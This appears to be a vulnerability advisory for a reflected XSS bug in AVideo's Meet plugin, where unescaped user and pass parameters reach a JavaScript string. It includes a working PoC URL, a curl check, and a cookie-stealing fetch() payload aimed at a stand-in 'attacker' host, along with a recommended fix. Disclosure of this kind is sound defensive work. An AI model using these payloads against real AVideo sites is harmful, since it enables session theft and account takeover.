Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}

// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

• Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"):

  if ($meet->getPublic() == "2") {
      $obj->canJoin = true;
      $obj->reason = "Is public";
      return $obj;
  }
  

• Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
• validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow:

1. document.location = "CHANNEL_URL?user="; — assignment completes.
2. } — closes _readyToClose.
3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called).
4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

1. Attacker sends victim the following URL:

   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x
   

   URL-decoded user payload: ";}alert(1);function a(){"

2. Server reflects the parameters unescaped into the script block on line 116.

3. Victim's browser parses the script; alert(1) fires immediately on page load.

4. Verification:

   $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \
       | grep -A1 _readyToClose
   function _readyToClose() {
       document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";
   

   The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

5. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload:

   user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x
   

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

• Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
• Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
• Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
• Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.